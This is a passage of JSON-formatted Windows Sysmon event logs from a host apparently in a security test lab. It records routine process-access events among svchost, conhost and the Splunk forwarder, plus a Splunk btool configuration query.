C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3591,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-0010B3450500}\r\nTargetProcessId: 1544\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-0010B3450500}","TargetProcessId":"1544","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3592,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.314\r\nProcessGuid: {90617006-407E-5F2D-0000-00106E460500}\r\nProcessId: 3728\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407E-5F2D-0000-0010B3450500}\r\nParentProcessId: 1544\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.314","ProcessGuid":"{90617006-407E-5F2D-0000-00106E460500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407E-5F2D-0000-0010B3450500}","ParentProcessId":"1544","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list general --no-log","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3593,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-407E-5F2D-0000-0010B3450500}\r\nSourceProcessId: 1544\r\nSourceThreadId: 1168\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00106E460500}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-407E-5F2D-0000-0010B3450500}","SourceProcessId":"1544","SourceThreadId":"1168","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00106E460500}","TargetProcessId":"3728","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3594,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00106E460500}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00106E460500}","TargetProcessId":"3728","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3595,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3596,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3597,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3598,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3599,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 